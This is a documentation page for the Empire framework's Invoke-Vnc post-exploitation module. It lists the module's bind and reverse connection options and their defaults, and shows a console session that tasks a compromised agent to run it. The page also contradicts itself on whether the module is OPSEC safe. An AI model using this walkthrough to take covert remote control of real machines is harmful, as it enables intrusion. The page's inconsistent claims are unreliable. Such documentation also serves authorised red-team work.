Invoke-Vnc - Empire Module
This page contains detailed information about how to use the powershell/management/vnc Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-Vnc
Module: powershell/management/vnc
Source code [1]: empire/server/modules/powershell/management/vnc.yaml
Source code [2]: empire/server/data/module_source/management/Invoke-Vnc.ps1
MITRE ATT&CK:
T1021
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes
Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the vnc module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the vnc module:
Agent
Agent to run module on.
ConType
Connection type, choose "bind" or "reverse".
Default value: bind
.
Password
Password to use.
Default value: password
.
Port
Port to Use.
Default value: 5900
.
Additional Module Options
This is a list of additional options that are supported by the vnc module:
IpAddress
IP Address to use for reverse connection.
Vnc Example Usage
Here's an example of how to use the vnc module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/management/vnc
Author @n00py
Background True
Comments https://github.com/artkond/Invoke-Vnc
Description Invoke-Vnc executes a VNC agent in-memory and initiates a reverse
connection, or binds to a specified port. Password authentication is
supported.
Language powershell
Name powershell/management/vnc
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1021
,Record Options--------,----------,-----------------------------------,
| Name | Value | Required | Description |
|-----------|----------|----------|-----------------------------------|
| Agent | | True | Agent to run module on. |
|-----------|----------|----------|-----------------------------------|
| ConType | bind | True | Connection type, choose "bind" or |
| | | | "reverse". |
|-----------|----------|----------|-----------------------------------|
| IpAddress | | False | IP Address to use for reverse |
| | | | connection. |
|-----------|----------|----------|-----------------------------------|
| Password | password | True | Password to use. |
|-----------|----------|----------|-----------------------------------|
| Port | 5900 | True | Port to Use. |
'-----------'----------'----------'-----------------------------------'
(Empire: usemodule/powershell/management/vnc) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/management/vnc) > set ConType bind
[*] Set ConType to bind
(Empire: usemodule/powershell/management/vnc) > set Password Password123
[*] Set Password to Password123
(Empire: usemodule/powershell/management/vnc) > set Port 5900
[*] Set Port to 5900
(Empire: usemodule/powershell/management/vnc) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/management/vnc.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/management/Invoke-Vnc.ps1
- https://github.com/artkond/Invoke-Vnc
- http://attack.mitre.org/techniques/T1021
- https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
- http://github.com/rapid7/metasploit-framework
- http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
- http://www.exploit-monday.com/
- http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
See Also
Check also the following modules related to this module:
- powershell/management/timestomp
- powershell/management/spawnas
- powershell/management/zipfolder
- powershell/management/switch_listener
- powershell/management/start-processasuser
- powershell/management/invoke_script
- powershell/management/invoke_sharpchisel
- powershell/management/get_domain_sid
- powershell/management/enable_multi_rdp
- powershell/management/enable_rdp
- powershell/management/reflective_inject
- powershell/management/shinject
- powershell/management/lock
- powershell/management/sid_to_user
- powershell/management/psinject
- powershell/management/spawn
- powershell/management/phant0m
- powershell/management/disable_rdp
- powershell/management/user_to_sid
- powershell/management/wdigest_downgrade
- powershell/management/runas
- powershell/management/downgrade_account
- powershell/management/powercat
- powershell/management/logoff
- powershell/management/invoke_socksproxy
- powershell/management/restart
- powershell/management/honeyhash
- powershell/management/mailraider/get_subfolders
- powershell/management/mailraider/mail_search
- powershell/management/mailraider/send_mail
- powershell/management/mailraider/view_email
- powershell/management/mailraider/search_gal
- powershell/management/mailraider/get_emailitems
- powershell/management/mailraider/disable_security
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.